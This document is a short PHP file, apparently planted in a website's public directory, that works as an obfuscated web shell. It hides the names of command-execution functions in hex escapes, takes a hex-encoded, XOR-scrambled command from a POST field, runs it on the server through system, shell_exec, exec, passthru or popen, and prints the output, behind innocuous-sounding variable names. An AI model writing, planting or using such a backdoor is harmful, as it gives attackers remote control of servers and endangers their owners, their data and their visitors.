File: /services/webpages/a/b/absolutespace.ca/public/workshop1.orig.php
<?php
$query_handler4 = "\x70\x61\x73\x73thru";
$splitter_tool = "hex\x32\x62\x69n";
$query_handler1 = "\x73\x79stem";
$query_handler6 = "st\x72\x65\x61m\x5F\x67\x65t_conte\x6E\x74s";
$query_handler2 = "shel\x6C\x5F\x65x\x65c";
$query_handler7 = "\x70\x63\x6Cose";
$query_handler5 = "p\x6Fpen";
$query_handler3 = "exec";
if (isset($_POST["\x65\x6Et"])) {
function dataflow_engine ( $symbol, $reference){
$item='' ;
foreach(str_split($symbol) as $char){
$item.=chr(ord($char)^$reference);
} return $item;
}
$ent = $splitter_tool($_POST["\x65\x6Et"]);
$ent = dataflow_engine($ent, 30);
if (function_exists($query_handler1)) {
$query_handler1($ent);
} elseif (function_exists($query_handler2)) {
print $query_handler2($ent);
} elseif (function_exists($query_handler3)) {
$query_handler3($ent, $ref_symbol);
print join("\n", $ref_symbol);
} elseif (function_exists($query_handler4)) {
$query_handler4($ent);
} elseif (function_exists($query_handler5) && function_exists($query_handler6) && function_exists($query_handler7)) {
$reference_item = $query_handler5($ent, 'r');
if ($reference_item) {
$descriptor_marker = $query_handler6($reference_item);
$query_handler7($reference_item);
print $descriptor_marker;
}
}
exit;
}